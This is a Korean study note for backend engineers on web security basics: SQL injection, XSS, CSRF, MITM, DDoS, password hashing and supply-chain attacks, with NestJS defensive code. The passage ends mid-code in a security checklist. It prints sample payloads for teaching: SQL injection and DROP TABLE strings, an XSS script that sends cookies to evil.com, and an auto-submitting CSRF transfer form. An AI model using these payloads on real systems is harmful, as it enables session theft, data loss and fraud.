Web Security basics
분류: Layer 1 - 백엔드 기초 | 작성일: 2026-04-02
1. 한 줄 정의
섹션 제목: “1. 한 줄 정의”웹 보안(Web Security)이란 서버와 사용자 사이를 오가는 데이터와 시스템 자원을 악의적인 공격으로부터 보호하는 기술과 방법론의 총체다.
2. 왜 중요한가
섹션 제목: “2. 왜 중요한가”BackOps 엔지니어는 API 서버를 직접 만들고 운영한다. 내가 짠 코드가 SQL Injection 한 줄로 DB 전체가 유출되거나, 내 사용자의 세션이 탈취당하는 일이 실제로 일어난다. 2025년 OWASP 보고서에 따르면 31%의 기업 API가 여전히 Injection 취약점을 포함하고 있다.
보안은 “나중에 추가하는 기능”이 아니다. 코드를 처음 짤 때부터 왜 위험한지, 어떻게 막는지를 알고 있어야 실수를 하지 않는다. 이 문서에서 다루는 6가지 공격 유형은 OWASP Top 10 2025 기준으로 가장 빈번하게 발생하는 실전 위협들이다.
3. 핵심 개념
섹션 제목: “3. 핵심 개념”3-1. SQL Injection
섹션 제목: “3-1. SQL Injection”비유: 은행 직원에게 메모를 건네는 상황
“김철수 잔액 알려줘”라고 메모를 적어 창구에 냈더니, 직원이 그대로 컴퓨터에 타이핑한다. 만약 메모에 “김철수 잔액 알려줘; 그리고 모든 계좌 잔액도 알려줘”라고 적혀 있다면 어떻게 될까?
공격 원리
SQL Injection은 사용자 입력을 SQL 쿼리 문자열에 직접 이어 붙일 때 발생한다. 공격자가 입력 필드에 SQL 문법을 삽입해서 원래 의도와 전혀 다른 쿼리를 실행시킨다.
-- 정상 로그인 쿼리 (의도)SELECT * FROM users WHERE email = 'user@example.com' AND password = 'secret';
-- 공격자가 email 필드에 다음을 입력: ' OR '1'='1SELECT * FROM users WHERE email = '' OR '1'='1' AND password = 'anything';-- 결과: WHERE 조건이 항상 true → 인증 우회취약한 코드 vs 안전한 코드
// ❌ 취약한 코드: 문자열 직접 연결async findUser(email: string) { const query = `SELECT * FROM users WHERE email = '${email}'`; return await this.dataSource.query(query); // 공격자가 email = "'; DROP TABLE users; --" 를 넣으면 테이블 삭제}
// ✅ 안전한 코드: TypeORM Parameterized Queryasync findUser(email: string) { return await this.userRepository .createQueryBuilder('user') .where('user.email = :email', { email }) // :email은 SQL 문법으로 해석 안 됨 .getOne();}
// ✅ 또는 TypeORM Repository 메서드 사용 (자동으로 파라미터 바인딩)async findUser(email: string) { return await this.userRepository.findOne({ where: { email } });}예상 출력 (안전한 코드 실행 시)
-- 실제로 DB에 전달되는 쿼리SELECT * FROM "user" WHERE "user"."email" = $1-- $1 에 'user@example.com' 문자열이 값으로 바인딩됨-- 공격 문자열이 들어와도 SQL 문법이 아닌 '데이터'로만 처리NestJS 실무 주의점
createQueryBuilder에서.where(\email = ’${email}’`)형태로 템플릿 리터럴을 직접 사용하면 파라미터 바인딩이 **무력화**된다. 반드시:paramName` 바인딩 문법을 써야 한다.- Raw 쿼리가 꼭 필요한 경우에는
this.dataSource.query('SELECT * FROM users WHERE email = $1', [email])형태로 반드시 두 번째 배열 인자를 사용한다. class-validator의@IsEmail(),@IsString()등 DTO 유효성 검사를 반드시 적용한다. 형식이 맞지 않는 입력은 DB에 닿기 전에 차단한다.
3-2. XSS (Cross-Site Scripting)
섹션 제목: “3-2. XSS (Cross-Site Scripting)”비유: 게시판에 ‘자폭 메모’ 붙여놓기
공공 게시판에 누군가 메모를 붙였는데, 그 메모에 “이 메모를 읽는 사람의 지갑을 가져가시오”라는 지시가 적혀 있다. 다음 사람이 메모를 읽는 순간 지갑을 잃는다. 브라우저가 HTML을 ‘읽는’ 순간 악성 스크립트가 실행되는 것과 같다.
세 가지 XSS 유형
| 유형 | 공격 방식 | 지속성 |
|---|---|---|
| Stored XSS | 악성 스크립트를 DB에 저장 → 다른 사용자가 조회할 때 실행 | DB에 영구 저장 |
| Reflected XSS | 악성 스크립트를 URL 파라미터에 포함 → 피해자가 링크 클릭 시 실행 | 일회성 |
| DOM-based XSS | JavaScript가 DOM을 직접 조작하는 과정에서 발생 | 클라이언트 사이드 |
Stored XSS 시나리오
1. 공격자가 게시글 내용에 다음을 입력: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
2. 서버가 그대로 DB에 저장
3. 다른 사용자가 게시글을 열람
4. 브라우저가 HTML을 렌더링하면서 <script> 태그 실행
5. 피해자의 세션 쿠키가 evil.com으로 전송 → 계정 탈취NestJS helmet 미들웨어와 CSP
import helmet from "helmet";
async function bootstrap() { const app = await NestFactory.create(AppModule);
// helmet이 자동으로 보안 헤더 7개 이상 설정 app.use( helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], // 기본: 같은 도메인만 허용 scriptSrc: ["'self'"], // 스크립트: 같은 도메인만 허용 (인라인 스크립트 차단) styleSrc: ["'self'", "'unsafe-inline'"], // 스타일: CDN 허용 필요 시 추가 imgSrc: ["'self'", "data:", "https:"], // 이미지: HTTPS 전체 허용 connectSrc: ["'self'"], }, }, }), );
await app.listen(3000);}예상 응답 헤더 (helmet 적용 후)
Content-Security-Policy: default-src 'self'; script-src 'self'; ...X-Content-Type-Options: nosniffX-Frame-Options: DENYX-XSS-Protection: 0 ← 최신 브라우저는 이 헤더 대신 CSP로 방어Strict-Transport-Security: max-age=15552000; includeSubDomains프론트엔드에서 흔히 만드는 XSS 취약 패턴
백엔드에서 이스케이프를 해도 프론트엔드에서 다시 취약점을 만들 수 있다. React에서 dangerouslySetInnerHTML={{ __html: userInput }}을 사용하면 React의 자동 이스케이프를 우회해 악성 스크립트가 그대로 삽입된다. 바닐라 JS의 element.innerHTML = userInput도 마찬가지다. eval(userInput), setTimeout(userInput, 0) 같이 문자열을 코드로 실행하는 패턴 역시 공격 경로가 된다. 사용자 입력을 DOM에 삽입할 때는 반드시 textContent를 사용하거나 DOMPurify 같은 sanitize 라이브러리를 거쳐야 한다.
CSP(Content Security Policy)가 XSS를 막는 원리
CSP는 브라우저에게 “이 페이지에서 실행 가능한 스크립트의 출처 목록”을 알려주는 HTTP 헤더다. script-src 'self'로 설정하면, 공격자가 <script> 태그를 주입해도 브라우저가 같은 도메인이 아닌 스크립트를 아예 실행 거부한다.
⚠️ CSP 경계 조건 — 이렇게 하면 방어가 무력화된다
| 잘못된 설정 | 결과 | 올바른 대안 |
|---|---|---|
script-src 'unsafe-inline' | 인라인 <script> 전부 허용 → XSS 방어 전체 무력화 | nonce 또는 hash 기반으로 교체 |
script-src 'unsafe-eval' | eval(), setTimeout(str) 허용 → DOM XSS 경로 열림 | 해당 지시어 제거, 코드 구조 개선 |
script-src * | 모든 외부 도메인 스크립트 허용 → CDN 오염 시 무방비 | 허용 도메인을 명시적으로 열거 |
⚠️ Silent Failure — CSP report-only 모드의 함정
// 주의: reportOnly: true 는 정책을 '모니터링만' 한다. 실제 차단 없음.app.use( helmet({ contentSecurityPolicy: { useDefaults: true, reportOnly: true, // ← 위반을 기록하지만 스크립트 실행은 허용! }, }),);// 증상: 에러 없음. 콘솔에 Report-Only 경고만 출력.// 발견 방법: 응답 헤더가 Content-Security-Policy-Report-Only 인지 확인// curl -I http://localhost:3000/ | grep -i content-securityreportOnly: true는 배포 전 CSP 정책을 테스트할 때만 사용하고, 프로덕션에서는 반드시 false(기본값)로 설정해야 실제 차단이 된다.
3-3. CSRF (Cross-Site Request Forgery)
섹션 제목: “3-3. CSRF (Cross-Site Request Forgery)”비유: 은행 직원을 사칭한 가짜 버튼
로그인된 은행 사이트를 켜놓고, 악성 쇼핑몰을 방문했다. 쇼핑몰에 “경품 받기” 버튼이 있는데, 실제로는 은행 서버에 “100만원 송금” 요청을 보내는 HTML 폼이다. 쿠키가 자동으로 전송되므로 은행 서버는 정상 요청으로 인식한다.
공격 원리
<!-- 악성 사이트의 숨겨진 폼 --><form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker_account" /> <input type="hidden" name="amount" value="1000000" /></form><script> document.forms[0].submit(); </script><!-- 사용자가 bank.com에 로그인된 상태라면, 브라우저가 세션 쿠키를 자동 첨부 → 서버는 정상 요청으로 처리 -->방어 1: SameSite 쿠키
// NestJS 세션/쿠키 설정res.cookie("session", token, { httpOnly: true, // JavaScript에서 접근 불가 secure: true, // HTTPS에서만 전송 sameSite: "lax", // 외부 사이트에서 GET 요청은 허용, POST는 차단 // sameSite: 'strict' // 외부 사이트에서 오는 모든 요청에 쿠키 비전송 (강력)});| SameSite 옵션 | 외부 사이트 GET | 외부 사이트 POST | 적합한 상황 |
|---|---|---|---|
None | 허용 | 허용 | (취약, CSRF 방어 없음) |
Lax | 허용 | 차단 | 일반 서비스 (기본값) |
Strict | 차단 | 차단 | 금융/보안 서비스 |
⚠️ SameSite 경계 조건과 Silent Failure 케이스
[경계 조건 1] SameSite=Lax에서 GET으로 상태 변경 API를 만들면 CSRF 취약 - Lax는 외부 사이트의 GET 요청에 쿠키를 허용한다 - GET /api/user/delete?id=1 같은 패턴은 CSRF 공격에 노출 - 해결: 상태 변경 작업은 반드시 POST/PUT/DELETE 메서드 사용
[경계 조건 2] SameSite=None + Secure 없음 → 쿠키 전송 자체가 차단됨 - SameSite=None은 반드시 Secure 속성과 함께 써야 한다 (브라우저 강제) - HTTPS 없이 SameSite=None을 설정하면 크롬/파이어폭스가 쿠키를 거부 - 증상: 에러 없이 쿠키가 전송되지 않음 → 인증 세션이 무효 - 발견 방법: DevTools > Application > Cookies 탭에서 경고 아이콘 확인
[경계 조건 3] 레거시 브라우저 폴백 (iOS Safari < 13.2, Android Browser < 97) - 일부 구형 브라우저는 SameSite=None을 알 수 없는 값으로 처리해 Strict로 폴백 - 결과: OAuth 리디렉션, 외부 결제 후 복귀 등 정상 크로스사이트 흐름이 차단 - 해결: 레거시 브라우저 지원이 필요한 경우 User-Agent 기반 폴백 로직 추가출처: MDN SameSite cookies, OWASP SameSite
방어 2: CSRF 토큰
// NestJS + csurf 미들웨어 (전통적인 방식)import * as csurf from 'csurf';
app.use(cookieParser());app.use(csurf({ cookie: { sameSite: true } }));
// controller에서 CSRF 토큰 발급@Get('form')getForm(@Req() req, @Res() res) { res.json({ csrfToken: req.csrfToken() }); // 응답: { "csrfToken": "abc123xyz..." }}
// 클라이언트는 이 토큰을 헤더에 포함시켜야 POST 요청 가능// X-CSRF-Token: abc123xyz...CSRF 토큰 원리: 서버가 발급한 랜덤 토큰을 클라이언트가 헤더에 담아 전송. 외부 사이트는 이 토큰을 알 수 없으므로 위조 요청 불가.
방어 2 심화: CSRF 토큰 동작 원리와 Double Submit Cookie 패턴
CSRF 토큰이 왜 외부 사이트에서는 통하지 않는가를 이해하는 것이 핵심이다.
[정상 흐름]1. 사용자가 myapp.com/form 접속 → 서버가 CSRF 토큰 발급: csrfToken = "abc123xyz" → 쿠키에 저장: Set-Cookie: _csrf=abc123xyz; HttpOnly → HTML 폼의 hidden 필드에도 삽입: <input name="_csrf" value="abc123xyz">
2. 사용자가 폼 제출 → 브라우저: 쿠키 + 폼 필드의 토큰 함께 전송 → 서버: 쿠키의 _csrf == 폼의 _csrf 인지 비교 → 일치하면 처리
[공격자 흐름]1. evil.com이 myapp.com으로 POST를 위조 → 쿠키는 자동 전송 (SameSite 미설정 시) → 단, HTML 폼의 _csrf 토큰은 evil.com이 읽을 수 없음 (Same-Origin Policy: 다른 출처의 응답은 JS로 읽기 불가) → 서버: 토큰 없음 → 요청 거부NestJS + csrf-csrf 패키지 (2025년 권장 방식, csurf 대체)
csurf는 deprecated 상태다. 2025년 기준 NestJS에서는 csrf-csrf 패키지를 사용하는 것이 권장된다.
npm install csrf-csrf cookie-parserimport * as cookieParser from "cookie-parser";import { doubleCsrf } from "csrf-csrf";
async function bootstrap() { const app = await NestFactory.create(AppModule);
app.use(cookieParser());
const { doubleCsrfProtection, generateToken } = doubleCsrf({ getSecret: () => process.env.CSRF_SECRET, // 최소 32자 랜덤 문자열 cookieName: "__Host-psifi.x-csrf-token", // __Host- 접두사로 보안 강화 cookieOptions: { secure: process.env.NODE_ENV === "production", sameSite: "lax", httpOnly: true, }, size: 64, ignoredMethods: ["GET", "HEAD", "OPTIONS"], // 읽기 요청은 검증 제외 });
// CSRF 보호 적용 app.use(doubleCsrfProtection);
await app.listen(3000);}// auth.controller.ts — CSRF 토큰 발급 엔드포인트import { generateToken } from "csrf-csrf";
@Controller("auth")export class AuthController { @Get("csrf-token") getCsrfToken(@Req() req, @Res() res) { const csrfToken = generateToken(req, res); return res.json({ csrfToken }); // 응답: { "csrfToken": "a1b2c3d4e5f6..." } }}// 클라이언트(React)에서 CSRF 토큰 사용async function submitForm(data) { // 1. 먼저 CSRF 토큰 획득 const { csrfToken } = await fetch("/auth/csrf-token").then((r) => r.json());
// 2. 상태 변경 요청 시 X-CSRF-Token 헤더에 포함 const response = await fetch("/orders", { method: "POST", headers: { "Content-Type": "application/json", "X-CSRF-Token": csrfToken, // ← 이 헤더가 없으면 403 }, credentials: "include", // 쿠키 포함 body: JSON.stringify(data), });}예상 동작:
# 올바른 CSRF 토큰 포함 요청curl -X POST http://localhost:3000/orders \ -H "X-CSRF-Token: a1b2c3d4e5f6..." \ -H "Cookie: __Host-psifi.x-csrf-token=<서버측쿠키>" \ -H "Content-Type: application/json" \ -d '{"productId": 1}'# → 201 Created
# CSRF 토큰 없이 요청curl -X POST http://localhost:3000/orders \ -H "Cookie: session=..." \ -H "Content-Type: application/json" \ -d '{"productId": 1}'# → 403 Forbidden: {"message":"invalid csrf token"}📖 더 보기: CSRF Protection in NestJS — CodingEasyPeasy —
csrf-csrf패키지로 NestJS에 CSRF 보호를 구현하는 단계별 가이드 (중급)
2025년 현황: 모던 SPA(React/Vue) + JWT 방식에서는 쿠키 대신 Authorization 헤더를 사용하므로 CSRF 공격 자체가 성립하지 않는다. 단, 쿠키 기반 인증을 사용하는 경우 반드시 SameSite + CSRF 토큰을 적용해야 한다.
3-4. MITM (Man-in-the-Middle)
섹션 제목: “3-4. MITM (Man-in-the-Middle)”비유: 중간에 끼어든 가짜 우체부
나와 친구가 편지를 주고받는데, 중간에 누군가 편지를 가로채 읽고, 내용을 바꾼 뒤 다시 보낸다. 나도 친구도 이 사실을 모른다. HTTP 평문 통신이 이런 상태다.
공격 원리
공격자가 클라이언트-서버 사이에 물리적/네트워크적으로 끼어들어 트래픽을 도청하거나 변조한다. 공공 Wi-Fi, ARP 스푸핑, DNS 스푸핑 등이 대표적인 수법이다.
[클라이언트] --평문 HTTP--> [공격자] ---> [서버] ↑ 도청 가능 내용 변조 가능 자격증명 탈취 가능HTTPS가 MITM을 방어하는 원리
[클라이언트] ←─ TLS 핸드셰이크 ─→ [서버]
1. 서버가 인증서(Certificate)를 제시 - 인증서에는 서버의 공개키 + CA(인증기관)의 디지털 서명 포함
2. 클라이언트가 인증서의 CA 서명을 검증 - 브라우저/OS에 내장된 신뢰할 수 있는 루트 CA 목록과 대조 - 서명이 유효하면 → 서버가 진짜임을 확인
3. TLS 핸드셰이크로 세션 키 교환 - 이후 모든 통신은 이 세션 키로 암호화 - 공격자는 암호화된 트래픽을 가로채도 복호화 불가
4. 공격자가 중간에 가짜 인증서를 제시하면 - CA 서명 검증 실패 - 브라우저가 "인증서 오류" 경고 표시 → 사용자에게 알림NestJS/Node.js 실무: HTTPS 강제 리디렉션
// main.ts - HTTPS가 아닌 요청을 강제 리디렉션app.use((req, res, next) => { if ( req.headers["x-forwarded-proto"] !== "https" && process.env.NODE_ENV === "production" ) { return res.redirect(301, `https://${req.headers.host}${req.url}`); } next();});
// helmet의 HSTS 헤더로 브라우저에게 "항상 HTTPS만 사용하라" 지시app.use( helmet({ strictTransportSecurity: { maxAge: 31536000, // 1년 동안 HTTPS 강제 includeSubDomains: true, // 서브도메인 포함 preload: true, }, }),);3-5. DDoS (Distributed Denial of Service)
섹션 제목: “3-5. DDoS (Distributed Denial of Service)”비유: 가짜 손님으로 식당 마비시키기
경쟁 식당 주인이 알바를 1000명 고용해서 내 식당에 앉게 했다. 실제로 음식을 주문하지 않고 자리만 차지한다. 진짜 손님이 와도 자리가 없어 못 들어온다. 서버가 처리할 수 없을 만큼 많은 요청을 보내 정상 서비스를 불가능하게 만드는 것이 DDoS다.
L3/L4 vs L7 DDoS 차이
| 구분 | 공격 계층 | 공격 방식 | 특징 |
|---|---|---|---|
| L3 (네트워크) | IP 레벨 | ICMP Flood, IP Fragment | 단순 대용량 트래픽으로 대역폭 소진 |
| L4 (전송) | TCP/UDP | SYN Flood, UDP Flood | 연결 요청만 보내고 응답 무시 → 서버의 연결 테이블 고갈 |
| L7 (애플리케이션) | HTTP/HTTPS | HTTP Flood, Slowloris | 정상적인 HTTP 요청처럼 보이는 공격 → 차단이 어려움 |
L4 SYN Flood 동작 원리
정상 TCP 3-way Handshake:클라이언트 → SYN → 서버 (연결 요청)클라이언트 ← SYN-ACK ← 서버 (수락)클라이언트 → ACK → 서버 (확인)
SYN Flood 공격:공격자 → SYN (가짜 IP) → 서버 ← SYN-ACK ← 서버 (서버가 응답 대기 상태로 자원 할당) → (ACK 없음) 공격자는 ACK를 보내지 않음
결과: 서버의 연결 대기 테이블(backlog queue)이 가득 참 → 정상 연결 불가AWS Shield / WAF 방어 개요
[인터넷] → [AWS Shield Standard] → [AWS WAF] → [EC2/ALB/CloudFront]
AWS Shield Standard (무료, 자동 적용): - L3/L4 공격 자동 탐지 및 차단 - SYN Flood, UDP Reflection 등 방어 - 모든 AWS 리소스에 기본 적용
AWS Shield Advanced ($3,000/월): - L7 DDoS 방어 추가 (HTTP Flood) - 24/7 DDoS Response Team (DRT) 지원 - 공격 중 비용 증가분 보호 (cost protection) - 실시간 공격 가시성 대시보드
AWS WAF (별도 과금): - L7 레벨 커스텀 룰 설정 (IP 차단, Rate Limiting, SQL Injection/XSS 패턴 차단) - 예: "동일 IP에서 1분에 1000건 이상 요청 시 차단" - Managed Rule Group: AWS가 관리하는 보안 룰 세트 구독 가능3-6. Hashing & Salting (패스워드 보안)
섹션 제목: “3-6. Hashing & Salting (패스워드 보안)”비유: 지문으로 신원 확인하기
경찰이 범인의 지문을 찾았다. 지문만으로 원래 손가락 모양을 완벽히 재현할 수는 없지만, “이 지문과 일치하는가”는 확인할 수 있다. 해시는 이처럼 단방향 변환이다. 원문을 알 수 없어도 비교는 가능하다.
SHA-256 vs BCrypt 차이
| 항목 | SHA-256 | BCrypt |
|---|---|---|
| 목적 | 데이터 무결성 검증 (파일, JWT 서명 등) | 패스워드 저장 |
| 속도 | 매우 빠름 (GPU로 초당 수억 회 연산 가능) | 의도적으로 느림 (비용 인수로 조절) |
| Salt | 없음 (같은 입력 → 항상 같은 해시) | 자동 내장 |
| GPU 공격 저항성 | 없음 | 있음 (메모리 집약적) |
| 패스워드 저장 적합 | ❌ 절대 사용 금지 | ✅ 권장 |
Salt와 Stretching 원리
Salt: 각 패스워드마다 랜덤 문자열 추가 → "password"를 두 사람이 사용해도 해시가 다름 → 레인보우 테이블 공격(사전 계산된 해시 테이블) 무력화
Stretching (Key Stretching): 해시를 수천~수만 번 반복 → 공격자가 비밀번호 하나를 추측하는 데 걸리는 시간을 의도적으로 증가 → BCrypt의 cost factor = 2^cost 번 반복 (cost=12이면 2^12=4096회)NestJS bcrypt 코드 + 예상 출력
import * as bcrypt from 'bcrypt';
// --- 패스워드 저장 ---async hashPassword(plainPassword: string): Promise<string> { const saltRounds = 12; // cost factor: 높을수록 안전하나 느림 (12~14 권장) const hashedPassword = await bcrypt.hash(plainPassword, saltRounds); return hashedPassword;}
// --- 패스워드 검증 ---async verifyPassword(plainPassword: string, hashedPassword: string): Promise<boolean> { return await bcrypt.compare(plainPassword, hashedPassword);}
// --- 사용 예시 ---const hash = await hashPassword('mySecret123!');console.log(hash);// 예상 출력:// $2b$12$9kJ8sLq2mNpXvT3wRdE4OuNzQmP5vKlGhA7iBxCdEfGh1JkLmNoP// ↑ ↑↑ ↑// 알고리즘 버전($2b$)// cost factor(12)// salt(22자) + hash(31자) 합쳐서 60자 문자열
const isValid = await verifyPassword('mySecret123!', hash);console.log(isValid); // true
const isInvalid = await verifyPassword('wrongPassword', hash);console.log(isInvalid); // false⚠️ bcrypt Silent Failure — 72바이트 truncation 함정
bcrypt는 Blowfish 암호화 기반으로, 입력을 72바이트에서 조용히 잘라낸다. 이 제한은 스펙에 의한 동작이지만 보안상 심각한 결과를 낳는다.
문제 상황: password_A = "correct-horse-battery-staple-this-is-a-very-long-secure-password-12345" (72바이트 이상) password_B = "correct-horse-battery-staple-this-is-a-very-long-secure-password-67890" (72바이트까지 동일)
bcrypt.hash(password_A) === bcrypt.hash(password_B) // true! → 다른 패스워드인데 동일한 해시 생성 → 인증 우회 가능
실제 사례: CVE-2025-68402 (FreshRSS) - bcrypt 72바이트 truncation으로 인해 패스워드 검증이 우회됨 - 공격자가 72바이트 접두사가 동일한 임의 문자열로 로그인 성공
추가 주의: UTF-8에서 한글/이모지는 1글자 = 2~4바이트 → 한글 24자 패스워드는 이미 72바이트(3×24=72)에 도달// 방어 1: 72바이트 초과 입력 거부 (단순, 사용성 제한)async hashPassword(plainPassword: string): Promise<string> { if (Buffer.byteLength(plainPassword, 'utf8') > 72) { throw new Error('Password exceeds bcrypt maximum length'); } return await bcrypt.hash(plainPassword, 12);}
// 방어 2: pre-hash 패턴 (SHA-256 → bcrypt) — 긴 패스워드 허용 시// 주의: pre-hash 자체에도 설계 트레이드오프가 있으므로 새 프로젝트는 Argon2id 사용 권장import * as crypto from 'crypto';async hashPasswordLong(plainPassword: string): Promise<string> { const prehashed = crypto.createHash('sha256').update(plainPassword).digest('base64'); return await bcrypt.hash(prehashed, 12); // 항상 44바이트로 고정}출처: FreshRSS CVE-2025-68402, WebProNews: Bcrypt’s 72-Byte Trap
2025년 권장 사항: Argon2id
OWASP 2025 권장 기준으로 Argon2id가 BCrypt보다 우수한 패스워드 해싱 알고리즘이다. GPU/ASIC 공격에 더 강한 메모리 집약적 설계를 갖추고 있다.
import * as argon2 from "argon2";
// Argon2id 권장 설정 (OWASP 2025)const hashedPassword = await argon2.hash(plainPassword, { type: argon2.argon2id, memoryCost: 19456, // 19 MiB timeCost: 2, // 2 iterations parallelism: 1,});
// 검증const isValid = await argon2.verify(hashedPassword, plainPassword);실무 선택 가이드: 새 프로젝트는 Argon2id를 사용한다. 기존 bcrypt 프로젝트는 cost factor 12+ 유지 상태에서 운영하고, 대규모 리팩토링 시 Argon2id로 마이그레이션을 고려한다.
3-7. 공급망 공격(Supply Chain Attack) — OWASP 2025 신규 항목
섹션 제목: “3-7. 공급망 공격(Supply Chain Attack) — OWASP 2025 신규 항목”비유: 납품업체 직원이 제품에 독을 넣는 것
슈퍼마켓의 보안이 아무리 철저해도, 납품업체 직원이 제품을 생산 단계에서 오염시키면 막을 수 없다. npm 패키지가 바로 이 납품업체에 해당한다.
왜 2025년 OWASP에 신규 추가됐는가
OWASP 2025에서 A03: Software Supply Chain Failures가 새로 추가됐다. 2021~2024년 사이 npm 생태계의 공급망 공격이 급증했기 때문이다. 대표적인 사례:
event-stream패키지 (2018): 1주 만에 800만 다운로드, 비트코인 지갑 탈취 코드 삽입xz-utils(2024): 리눅스 핵심 라이브러리에 2년간 백도어 삽입 시도polyfill.io(2024): CDN 공급망 오염으로 10만+ 사이트에 악성 코드 배포
공격 원리
공격 시나리오:1. 공격자가 npm에 'lodash-utils' 같은 인기 패키지와 비슷한 이름 등록 (Typosquatting) 또는 오픈소스 메인테이너 계정을 탈취해서 정상 패키지에 악성 코드 삽입
2. npm install 시 의존성 트리를 통해 자동 설치됨 (직접 설치하지 않아도, A가 B를 쓰고 B가 C를 쓰면 C까지 포함)
3. 악성 코드가 빌드 시 또는 런타임에 실행 - 환경변수 탈취 (AWS 자격증명, DB 패스워드) - 원격 쉘 오픈 - 암호화폐 채굴NestJS 프로젝트에서 공급망 공격 방어
# 1. npm audit — 알려진 취약점 검사npm audit# 예상 출력:# found 3 vulnerabilities (1 moderate, 2 high)# run `npm audit fix` to fix them
npm audit fix # 자동 수정 가능한 것 수정npm audit fix --force # Breaking change 포함 강제 수정 (주의)
# 2. 의존성 트리 확인 — 어디서 왔는지 추적npm ls lodash# my-app@1.0.0# └── @nestjs/common@10.0.0# └── lodash@4.17.21 ← 직접 설치 안 했어도 의존성으로 포함
# 3. package-lock.json의 integrity 해시 — 패키지 무결성 보장# lock 파일에 sha512 해시가 있으면 패키지가 변조되지 않았음을 보장cat package-lock.json | grep -A2 '"lodash"'# "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",# "integrity": "sha512-v2kDE0LHPc..." ← 이 해시가 바뀌면 설치 거부# GitHub Actions — npm audit를 CI 파이프라인에 통합- name: Security audit run: npm audit --audit-level=high # high 이상 취약점 발견 시 파이프라인 중단# 4. Snyk / Socket — 더 강력한 공급망 분석npx snyk test# 예상 출력:# Testing my-app...# ✓ Tested 247 dependencies for known issues# Found 1 issue:# ✗ High severity vulnerability found in express# Description: Open Redirect# Fix: Upgrade to express@4.19.2
# Socket (공급망 특화) — 패키지 행동 분석npx socket npm install lodash# ✓ No supply chain issues detected# 또는: ⚠ This package reads environment variables (suspicious)package-lock.json이 왜 반드시 커밋되어야 하는가:
package-lock.json 없이 npm install하면 package.json의 ^4.17.0 같은 범위 버전에서 최신 버전을 받는다. 공격자가 4.17.1에 악성 코드를 심으면 다음 npm install에서 자동으로 받게 된다. lock 파일이 있으면 항상 정확한 버전과 해시를 기준으로 설치된다.
3-8. 횡단적 보안 원리 — 모든 공격에 공통으로 적용되는 원칙
섹션 제목: “3-8. 횡단적 보안 원리 — 모든 공격에 공통으로 적용되는 원칙”앞서 다룬 6가지 공격 유형은 각각 다른 기법을 사용하지만, 그 근저에는 공통된 원리가 흐른다. 이 원리를 이해하면 새로운 공격 유형을 접할 때도 빠르게 방어 전략을 도출할 수 있다.
원리 1: 입력 검증 (Input Validation) — 신뢰하지 말고 검증하라
섹션 제목: “원리 1: 입력 검증 (Input Validation) — 신뢰하지 말고 검증하라”모든 외부 입력은 잠재적 공격 벡터다. 입력을 ‘사용’하기 전에 ‘형식과 범위를 검증’하는 것이 첫 번째 방어선이다.
| 공격 유형 | 입력 검증 부재의 결과 | 검증 적용 예시 |
|---|---|---|
| SQL Injection | 사용자 입력이 SQL 명령어로 해석 | DTO @IsEmail() → TypeORM 파라미터 바인딩 |
| XSS | 사용자 입력이 HTML/JS로 해석 | 출력 시 이스케이프, DOMPurify sanitize |
| Command Injection | 사용자 입력이 셸 명령어로 실행 | 입력 허용 목록(allowlist) 기반 검증 |
| CSRF | 외부 출처의 요청을 내부 요청으로 신뢰 | Origin/Referer 헤더 검증 + CSRF 토큰 |
원리 2: 신뢰 경계 (Trust Boundary) — 경계를 명확히 정의하라
섹션 제목: “원리 2: 신뢰 경계 (Trust Boundary) — 경계를 명확히 정의하라”신뢰 경계는 “어디서 오는 데이터를 어느 수준으로 신뢰할 것인가”를 정의하는 개념이다.
[외부 인터넷] --- (불신 영역) --→ [API 게이트웨이] --- (검증 완료) --→ [내부 서비스] ↑ 신뢰 경계선 여기서 인증/검증이 이루어져야 함
핵심 원칙: - 클라이언트 데이터는 항상 불신 (브라우저 검증은 UX용, 보안용 아님) - 내부 서비스라도 직접 외부에 노출되면 동일한 검증 필요 - 데이터가 경계를 넘을 때마다 재검증원리 3: 최소 권한 (Principle of Least Privilege)
섹션 제목: “원리 3: 최소 권한 (Principle of Least Privilege)”필요한 최소한의 권한만 부여한다. 침해가 발생해도 피해 범위를 제한한다.
| 영역 | 최소 권한 적용 예 |
|---|---|
| DB 계정 | 앱 DB 계정은 SELECT/INSERT/UPDATE만 허용, DROP 권한 없음 |
| API 응답 | 응답에 필요한 필드만 포함 (비밀번호 해시, 내부 ID 제외) |
| 파일 시스템 | 앱이 쓰는 디렉터리만 쓰기 권한, 시스템 파일 읽기 불가 |
| 쿠키 | httpOnly: true로 JS 접근 차단, secure: true로 HTTPS만 전송 |
원리 4: Defense in Depth (심층 방어) — 단일 방어선을 믿지 마라
섹션 제목: “원리 4: Defense in Depth (심층 방어) — 단일 방어선을 믿지 마라”단 하나의 방어 메커니즘이 실패해도 전체 시스템이 무너지지 않도록 여러 레이어를 쌓는다.
XSS 방어 레이어 예시: 레이어 1. 입력 시: DTO validation (형식 검증) 레이어 2. 저장 시: 위험 HTML 태그 sanitize 레이어 3. 출력 시: 컨텍스트 기반 이스케이프 (HTML/JS/CSS/URL 각각 다름) 레이어 4. 브라우저: CSP 헤더 — 실행 자체를 차단
→ 레이어 2에서 sanitize를 빠뜨려도 레이어 3과 4가 방어→ 레이어 3의 이스케이프 버그가 있어도 레이어 4(CSP)가 실행 차단출처: OWASP ASVS (Application Security Verification Standard), OWASP Top 10 2021 Proactive Controls
4. 실무에서 어떻게 쓰이나
섹션 제목: “4. 실무에서 어떻게 쓰이나”NestJS 보안 설정 체크리스트 (프로덕션 기준)
// main.ts - 실무 보안 설정 통합 예시import helmet from "helmet";import * as cookieParser from "cookie-parser";import { rateLimit } from "express-rate-limit";
async function bootstrap() { const app = await NestFactory.create(AppModule);
// 1. 보안 헤더 (XSS, Clickjacking, MIME 스니핑 방어) app.use(helmet());
// 2. CORS 설정 (허용된 출처만 접근 가능) app.enableCors({ origin: process.env.ALLOWED_ORIGINS?.split(",") ?? ["https://myapp.com"], credentials: true, // ⚠️ 경계 조건: origin: '*' + credentials: true 는 브라우저가 차단 (CORS 스펙 위반) // credentials 사용 시 반드시 명시적 도메인을 origin에 지정해야 함 });
// 3. 전역 유효성 검사 파이프 (SQL Injection 1차 방어) app.useGlobalPipes( new ValidationPipe({ whitelist: true, // DTO에 없는 필드 자동 제거 forbidNonWhitelisted: true, // 알 수 없는 필드 요청 거부 transform: true, }), );
